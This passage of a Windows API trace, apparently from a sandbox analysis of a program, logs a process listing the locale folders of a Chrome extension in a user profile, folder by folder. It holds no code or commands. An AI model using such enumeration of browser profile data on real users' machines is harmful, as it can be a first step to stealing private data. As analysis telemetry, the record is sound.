Size=0x10000) returned 0x26320b0 [0275.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.165] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.165] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.165] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.165] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.165] GetProcessHeap () returned 0x550000 [0275.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.165] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0275.166] GetProcessHeap () returned 0x550000 [0275.166] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.287] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.287] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.287] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.287] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.287] GetProcessHeap () returned 0x550000 [0275.288] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.288] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0275.288] GetProcessHeap () returned 0x550000 [0275.288] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.288] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.288] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.288] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.288] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.289] GetProcessHeap () returned 0x550000 [0275.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.289] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0275.289] GetProcessHeap () returned 0x550000 [0275.289] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.351] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.351] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.351] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.351] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.352] GetProcessHeap () returned 0x550000 [0275.352] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.352] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0275.352] GetProcessHeap () returned 0x550000 [0275.352] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.352] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.352] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.353] GetProcessHeap () returned 0x550000 [0275.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.353] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0275.353] GetProcessHeap () returned 0x550000 [0275.353] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.505] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.505] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.506] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.506] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.506] GetProcessHeap () returned 0x550000 [0275.506] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.506] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0275.506] GetProcessHeap () returned 0x550000 [0275.506] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.507] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.507] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.507] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.507] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.507] GetProcessHeap () returned 0x550000 [0275.507] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.507] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0275.507] GetProcessHeap () returned 0x550000 [0275.507] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.630] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.630] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.630] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.630] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.631] GetProcessHeap () returned 0x550000 [0275.631] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.631] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 